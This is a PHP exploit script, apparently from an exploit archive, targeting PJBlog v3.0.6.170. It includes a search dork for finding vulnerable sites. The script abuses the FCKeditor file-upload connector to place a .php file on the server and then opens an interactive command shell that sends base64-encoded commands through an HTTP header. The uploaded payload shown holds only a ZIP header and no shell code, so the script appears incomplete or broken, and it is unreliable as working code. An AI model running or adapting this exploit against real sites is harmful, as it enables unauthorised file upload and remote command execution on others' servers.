################################################################ # Discoverd By: Securitylab.ir                                                                    # # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir                        # ################################################################ # Application Info:                                                                                    # # Name: PJBlog                                                                                      # # Version: v3.0.6.170                                                                               # # Dork: intext:"PJBlog3 v3.0.6.170"                                                           # ################################################################ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); define(STDIN, fopen("php://stdin", "r")); function http_send($host, $packet) {  $sock = fsockopen($host, 80);  while (!$sock)  {   print "\n[-] No response from {$host}:80 Trying again...";   $sock = fsockopen($host, 80);  }  fputs($sock, $packet);  while (!feof($sock)) $resp .= fread($sock, 1024);  fclose($sock);  return $resp; } function connector_response($html) {  return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201))); } print "\n+------------------------------------------------------------------+"; print "\n| PJblog (fckeditor) Arbitrary File Upload Exploit |"; print "\n+------------------------------------------------------------------+\n"; if ($argc < 3) {  print "\nUsage......: php $argv[0] host path";  print "\nExample....: php $argv[0] localhost /";  print "\nExample....: php $argv[0] localhost /PJblog/\n";  die(); } $host = $argv[1]; $path = ereg_replace("(/){2,}", "/", $argv[2]); $filename  = md5(time()).".php"; $connector = "FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php"; $payload  = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n"; $payload .= "Content-Type: application/zip\r\n\r\n"; $payload .= "PK\003\004\n"; $payload .= "--o0oOo0o--\r\n"; $packet  = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n"); else print "\n[-] Shell uploaded to {$filename}...starting it!\n"; $path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root $packet  = "GET {$path}{$filename} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) {  print "\nFalt4-shell# ";  $cmd = trim(fgets(STDIN));  if ($cmd != "exit")  {   $response = http_send($host, sprintf($packet, base64_encode($cmd)));   preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");  }  else break; } ?>